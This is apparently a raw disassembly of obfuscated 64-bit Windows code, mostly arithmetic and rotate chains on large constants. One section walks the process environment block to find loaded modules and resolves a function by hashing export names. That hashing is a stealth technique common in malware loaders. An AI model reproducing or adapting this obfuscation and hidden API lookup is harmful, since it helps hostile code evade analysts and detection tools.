movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x47
and ecx, 0x8000003f
jge 0x140002d8c
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r10
ror rax, cl
not rax
movabs rcx, 0x14a6b504a9b72240
mov r15, rax
imul r15, rcx
add r8, r15
mov r9, r10
imul r9, r14
sub r9, r8
xor r9, rsi
mov cl, r8b
xor cl, 0xf8
and cl, 0xf
rol r9, cl
movabs rcx, 0xe59c578907cdce40
imul rax, rcx
movabs rcx, 0x625168950897db61
sub rax, rcx
xor r9, rax
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
xor r9, r11
mov rax, r9
and eax, 1
je 0x1400030d0
sub rax, 1
je 0x140002fdc
sub rax, 1
je 0x140002f0a
cmp rax, 1
jne 0x140003144
mov rsi, r8
imul rsi, r10
movabs rax, 0x85fb53351f732f39
add rax, r9
xor rsi, rax
ror rsi, 0x2c
shr rsi, 0xc
not rsi
movabs rcx, 0x835725dd0454
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x361d9af993696219
xor rdx, rax
movzx eax, r9b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d3de8af
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rbx
mov eax, 0xace63a45
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xe8f96326d50c48a6
sub rbx, rsi
shr rbx, cl
movabs rcx, 0x36a7440a5c119159
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x140003144
movabs rcx, 0xaaaaaa1aacffc77b
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed6ef21b37
imul r10, rcx
movabs rcx, 0xffff7e8a8aeff5a7
imul r15, rcx
movabs rcx, 0xdda92893a609c13e
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be7e2f101b
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffff9aa11ab
lea ecx, [r9 - 7]
and cl, 0x3f
rol r8, cl
movabs rax, 0x247a68c600000000
imul r8, rax
mov rcx, r8
ror rcx, 0x29
not rcx
movabs rax, 0x9b2de6b2c70e48f0
imul rcx, rax
mov rax, r10
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140003144
movabs rax, 0xe73f7b781188ef77
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x9af4891137ff56b0
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
and cl, 0x3f
rol r11, cl
movabs rcx, 0x369f1f81fdaf46cf
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe07e0250b931
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f03bb156
or r11, rax
mov rbx, qword [0x140301070]
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6a133b15b
xor rbx, rax
mov rax, r9
imul rax, r8
imul rax, rbx
mov rdi, r10
sub rdi, rax
movabs rax, 0x78958946e61fd41
add rdi, rax
xor rdi, r14
movzx eax, r10b
imul ecx, eax, 0xfe
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140003144
imul r12, r9
and r12, qword [0x140301088]
mov rax, r11
mov r11, r12
xor r11, rax
ror r11, 0x35
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de7cc2e0ba
imul rdi, rax
imul r14, r13, 0xffffffffe1ca1140
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140003131
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x369f1f81fdaf46cf
add r14, rax
add r14, r15
movabs rax, 0xff055d7b8c89ea77
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x140301060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e878b3aa0ab
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.140001414
mov qword [0x14030af88], rax
movabs rsi, 0xf1658b2b42e29862
movabs rbx, 0x16368956c2878b2d
xor edi, edi
movabs rax, 0x58f810f0c5858f0
movabs r10, 0xb3e958fc8afc678a
mov r14, qword [0x140301070]
imul r14, rax
not r14
movabs rcx, 0x4c16a70374dadfc4
mov r13, qword [0x140301060]
mov rax, r13
xor rax, rcx
and r14, rax
ror r14, 4
shr r14, 8
movabs rax, 0x81d126c3b01aaad0
mov r11, r13
imul r11, rax
add r11, rbx
movabs rax, 0xd31b33167fffffff
xor r11, rax
shr r11, 0x1f
not r11
movabs r8, 0xe9c976a93d7874d3
lea rcx, [r11 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 9
and ecx, 0x8000003f
jge 0x14000327e
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r11
ror rdx, cl
not rdx
movabs rax, 0xc57549800dcebc0c
mov r12, rdx
imul r12, rax
lea r9, [r12 + r8]
mov r8, r11
imul r8, r14
sub r8, r9
xor r8, rsi
movzx r15d, r9b
mov ecx, r15d
xor ecx, 6
and ecx, 0xf
jge 0x1400032bf
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, r9
sub rax, qword [0x140301078]
xor r8, rax
movabs rax, 0x2a21fd8fefc5921c
imul rdx, rax
movabs rax, 0x332a9d0fb6e01a17
add rdx, rax
xor r8, rdx
xor r8, r10
mov rax, r8
and eax, 1
xor rax, 2
je 0x1400035e4
sub rax, 1
je 0x1400034e0
sub rax, 1
je 0x14000340e
cmp rax, 1
jne 0x14000365b
mov rsi, r9
imul rsi, r11
movabs rax, 0x7b115a2e2b1e93fb
add rax, r8
xor rsi, rax
ror rsi, 0x3e
shr rsi, 0xc
not rsi
movabs rcx, 0x83572df4241e
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xe94bf3d15b97704b
xor rdx, rax
movzx eax, r8b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97514c8e1
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rbx
mov eax, 0xa4cf1a0b
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xa1bf70de570289d6
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xe9d19b3193c3df9b
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, r14
xor rbx, rax
jmp 0x14000365b
movabs rcx, 0xaaaaaa1aa4d6e735
mov r11, r8
xor r11, rcx
movabs rcx, 0x1206ed66db3b79
imul r11, rcx
movabs rcx, 0xffff7e8a82c6d5e9
imul r12, rcx
movabs rcx, 0xcbb7b49f36860231
add r11, rcx
add r11, r12
movabs rax, 0x277cd7be76063055
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff18331e5
lea ecx, [r8 - 9]
and cl, 0x3f
rol r9, cl
movabs rax, 0x14222cc280000000
imul r9, rax
mov rcx, r9
ror rcx, 0xa
not rcx
movabs rax, 0x9b2de6b2e7aac9c8
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x14000365b
movabs rax, 0xdcc677adef065c61
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0xe9a74d4bd1d679d
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r15d, 0x8000003f
jge 0x140003533
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r10, cl
movabs rcx, 0xe9c976a93d7874d3
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x956c2878b2d
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f8129118
or r10, rax
mov rbx, qword [0x140301070]
imul rbx, rsi
sub rbx, r9
mov rax, r14
sub rax, r10
xor rbx, rax
movabs rax, 0xc7a7c6a6a91a9115
xor rbx, rax
mov rax, r8
imul rax, r9
imul rax, rbx
mov rdi, r11
sub rdi, rax
movabs rax, 0x78958946648dd0f
add rdi, rax
xor rdi, r14
movzx eax, r11b
imul ecx, eax, 0xf0
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x14000365b
mov rcx, r8
imul rcx, qword [0x140301080]
and rcx, r13
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0xa
imul r10, r9
mov rdi, r14
not rdi
imul rdi, r11
movabs rax, 0x7cd8a7de74ebc0f4
imul rdi, rax
imul r14, r13, 0xfffffffffe26b84e
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140003648
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xe9c976a93d7874d3
add r14, rax
add r14, r12
movabs rax, 0xff055d7b84a0ca39
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rdi
lea rax, [0x140301060]
imul r10, qword [rax + rsi*8]
not r9
imul r9, r8
imul r9, r14
imul r9, rbx
movabs rcx, 0xf5ed7e87831380e5
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r10
call fcn.140001360
mov qword [0x14030af50], rax
movabs rsi, 0xf447b489a374d5aa
movabs rdi, 0xb2e65da3e8cf96b3
xor ebx, ebx
movabs rax, 0x72c5b228176086b0
movabs r10, 0xbfc51f5bd2e30092
mov r13, qword [0x140301070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0x403ae0a42f7dfc98
mov rax, qword [0x140301060]
xor rax, rcx
and r14, rax
ror r14, 0x1a
shr r14, 8
movabs rax, 0x8792f61978e1bc70
mov r11, r13
imul r11, rax
movabs r8, 0x4d19a25c1730694d
sub r11, r8
movabs rax, 0x70161cad00000000
xor r11, rax
shr r11, 0x1f
not r11
lea rcx, [r11 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x89
and ecx, 0x8000003f
jge 0x140003798
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r11
ror rdx, cl
not rdx
movabs rax, 0xcfc51c465589bdb4
mov r12, rdx
imul r12, rax
add r8, r12
mov r9, r11
imul r9, r14
sub r9, r8
xor r9, rsi
movzx r15d, r8b
mov ecx, r15d
xor ecx, 6
and ecx, 0xf
jge 0x1400037d8
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
movabs rax, 0x781e273409031cdc
imul rdx, rax
movabs rax, 0x2acb209481cfbed7
add rdx, rax
xor r9, rdx
xor r9, r10
mov rax, r9
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140003af9
sub rax, 1
je 0x1400039f9
sub rax, 1
je 0x140003927
cmp rax, 1
jne 0x140003b77
mov rsi, r8
imul rsi, r11
movabs rax, 0xab69574d7d4bfda5
add rax, r9
xor rsi, rax
ror rsi, 0x22
shr rsi, 0xc
not rsi
movabs rcx, 0x8357226a569e
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x4d9b27247e411f55
xor rdx, rax
movzx eax, r9b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97a8aba61
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xab51688b
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x6c860da160c54ecc
sub rdi, rsi
shr rdi, cl
movabs rcx, 0x4d21c6e471058195
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rdi, rax
jmp 0x140003b77
movabs rcx, 0xaaaaaa1aab4895b5
mov r11, r9
xor r11, rcx
movabs rcx, 0x1206ed694549f9
imul r11, rcx
movabs rcx, 0xffff7e8a8d58a769
imul r12, rcx
movabs rcx, 0x8b4611a291936fa3
add r11, rcx
add r11, r12
movabs rax, 0x277cd7be799842d5
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r11
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffffe1d4365
lea ecx, [r9 - 9]
and cl, 0x3f
rol r8, cl
movabs rax, 0x4810654280000000
imul r8, rax
mov rcx, r8
ror rcx, 2
not rcx
movabs rax, 0x9b2de6b2d9d303c8
imul rcx, rax
mov rax, r11
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140003b77
movabs rax, 0xf63a63337adfa98f
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0xbb84b765c8b2a55
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r15d, 0x8000003f
jge 0x140003a4c
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r10, cl
movabs rcx, 0x4d19a25c1730694d
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1da3e8cf96b3
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f78ce398
or r10, rax
mov rdi, r13
imul rdi, rsi
sub rdi, r8
mov rax, r14
sub rax, r10
xor rdi, rax
movabs rax, 0xc7a7c6a6a684e395
xor rdi, rax
mov rax, r9
imul rax, r8
imul rax, rdi
mov rbx, r11
sub rbx, rax
movabs rax, 0x789589469d6af8f
add rbx, rax
xor rbx, r14
movzx eax, r11b
imul ecx, eax, 0xf0
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140003b77
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, qword [0x140301080]
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0x12
imul r10, r8
mov rbx, r14
not rbx
imul rbx, r11
movabs rax, 0x7cd8a7de7b75b274
imul rbx, rax
imul r14, qword [0x140301060], 0xfffffffffd9efc0a
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140003b64
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x4d19a25c1730694d
add r14, rax
add r14, r12
movabs rax, 0xff055d7b8b3eb8b9
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rbx
lea rax, [0x140301060]
imul r10, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rdi
movabs rcx, 0xf5ed7e878c8df265
xor rcx, r11
not rcx
xor rcx, r8
sub rcx, r10
call fcn.1400014a4
mov qword [0x14030af80], rax
xor edi, edi
mov r14d, 0x8a660562
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x140003c58
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xcf73ee32
jmp 0x140003c4a
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x140003c24
cmp r10d, edi
jne 0x140003d67
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x140003d67
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x140003d67
mov r13d, dword [rbx + 0x20]
dec esi
lea rdx, [rsi*4]
add rdx, r13
mov r11d, dword [rdx + r10]
add r11, r10
mov r15d, 0xcf73ee32
jmp 0x140003cc8
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x140003ca5
cmp r15d, r14d
je 0x140003ce0
test esi, esi
jne 0x140003c89
jmp 0x140003d67
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rsi*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
cmp r9, rbx
jbe 0x140003d6f
lea rax, [rbx + rcx]
cmp r9, rax
jae 0x140003d6f
mov edi, 0xcf73ee32
mov r14d, edi
jmp 0x140003d29
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x140003d0f
jmp 0x140003d4c
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, r14d
mov r14d, eax
imul r14d, ecx
inc r9
mov al, byte [r9]
test al, al
jne 0x140003d32
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140003bf8
mov r8d, 0x30
lea rdx, section..data
lea rcx, [0x140301030]
call r9
movabs rsi, 0x79bec28cbea58f37
movabs rax, 0x90c5000000000000
movabs r14, 0xf279b8a9b5c85e30
mov r11, qword [0x140301080]
imul r11, rax
movabs rax, 0xee15100000000000
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov qword [rsp + 0x30], rcx
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r11
and r8, rsi
lea r10, [0x140301060]
imul r8, qword [r10 + rcx*8]
movabs rax, 0xc4fbfe74ad710a0
imul r8, rax
shr r8, 3
movabs rax, 0x66c9f67881ef65b6
xor r8, rax
movabs rax, 0xffffff57d622907d
mov rdi, r11
imul rdi, rax
sub rdi, 0x63b5712
xor rdi, r8
xor rdi, qword [0x140301060]
mov rax, r8
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bdf912f5c
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x1a
shr rdi, 8
movabs r12, 0x86413d73415a70c9
lea rcx, [r11 + r12]
xor rcx, 0xffffffffe11f2451
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x45a92b65b05cac28
mov rbx, qword [r10 + rcx*8]
imul rbx, rax
add rbx, rsi
movabs rcx, 0xa4b8ed353e643140
mov rax, r8
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r15, rbx
xor r15, r11
lea rcx, [rbx + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r10 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x4d
mov eax, 0x8000003f
and ecx, eax
jge 0x140003ef8
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0xfffffffff9c4a8ee
lea r10, [r12 + r13]
mov r9, rbx
imul r9, rdi
sub r9, r10
xor r9, r14
movzx r12d, r10b
mov ecx, r12d
xor ecx, 2
and ecx, 0xf
and ecx, eax
jge 0x140003f32
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
mov rax, r10
sub rax, qword [0x140301078]
xor r9, rax
movabs rax, 0x7990abcd09033d22
imul r15, rax
movabs rax, 0x6c3dd4306efb822f
add r15, rax
xor r9, r15
xor r9, r8
xor r9, r11
mov rax, r9
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x1400042bf
sub rax, 1
je 0x14000417f
sub rax, 1
je 0x140004085
cmp rax, 1
jne 0x140004370
mov r14, r10
imul r14, rbx
movabs rax, 0xca54926ad7a69025
add rax, r9
xor r14, rax
ror r14, 0x22
shr r14, 0xc
xor r14, r11
not r14
movabs rcx, 0x83573d60215a
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x86c3b80b37217115
xor rdx, rax
movzx eax, r9b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db96580cda5
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, rsi
mov eax, 0xb45b1f4f
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x140301060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x140d30947a8bdd0
sub rsi, r14
shr rsi, cl
movabs rcx, 0x864961fb8839e04d
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rdi
xor rsi, rax
jmp 0x140004370
movabs rax, 0xaaaaaa1ab442e271
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed764f3e3d
imul rcx, rax
movabs rdx, 0xfff17ca86320d40d
mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a9252d0ad
imul r13, rax
movabs rbx, 0x73aee82bfa765882
add rbx, rcx
add rbx, r13
movabs rax, 0x277cd7be66923511
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rbx
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xffffffffe11734a1
lea ecx, [r9 - 0xd]
and cl, 0x3f
rol r10, cl
movabs rcx, 0xcbc7f639f7efc1ef
mov rax, qword [rsp + 0x30]
xor rax, rcx
movabs rcx, 0x7c7a7dc688103e10
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x1c
not rcx
movabs rax, 0x9b2de6b2a5fadcd8
imul rcx, rax
mov rax, rbx
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140004370
movabs rax, 0x4ccf97cb7906e2dd
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x86413d73415a70c8
mov rax, r11
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x1400041d9
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0x86413d73415a70c9
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x28cbea58f37
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7e886945c
or r8, rax
mov rsi, qword [0x140301070]
imul rsi, r14
sub rsi, r10
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6b98e9451
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, r10
imul rdx, rsi
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, r11
movabs r11, 0x789589476dcd84b
add r11, rax
xor r11, rdi
movzx eax, bl
imul ecx, eax, 0xf4
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140004370
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r10
not rdi
imul rdi, rbx
movabs rax, 0x7cd8a7de647fc5b0
imul rdi, rax
mov rax, r8
imul rax, r11
mov r11, rdi
xor r11, rax
imul rdi, qword [0x140301060], 0xfffffffff9c4a8ee
mov rdx, qword [0x140301068]
sub rdi, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14000435d
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x86413d73415a70c9
add rdi, rax
add rdi, r13
movabs rax, 0xff055d7b9434cf7d
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, r11
lea rax, [0x140301060]
imul r8, qword [rax + r14*8]
not r10
imul r10, r9
imul r10, rdi
imul r10, rsi
movabs rcx, 0xf5ed7e87938785a1
xor rcx, rbx
not rcx
xor rcx, r10
sub rcx, r8
call fcn.1400013a8
mov qword [0x14030af50], rax
movabs rsi, 0xd4e1eecaf1ba11d2
movabs rbx, 0x453a77525f269483
xor edi, edi
movabs rax, 0xf4d990c7fbb3b702
movabs r11, 0xc54f2a18feb691e9
mov r12, qword [0x140301070]
mov r14, r12
imul r14, rax
not r14
shr r14, 8
movabs rcx, 0x3ab0d5e73f7cad00
mov r13, qword [0x140301060]
mov rax, r13
xor rax, rcx
shr rax, 8
and r14, rax
movabs rax, 0x1e48bed422d9dfc0
mov r10, r12
imul r10, rax
add r10, rbx
movabs rax, 0xf8faeeffffffffff
xor r10, rax
shr r10, 0x1f
not r10
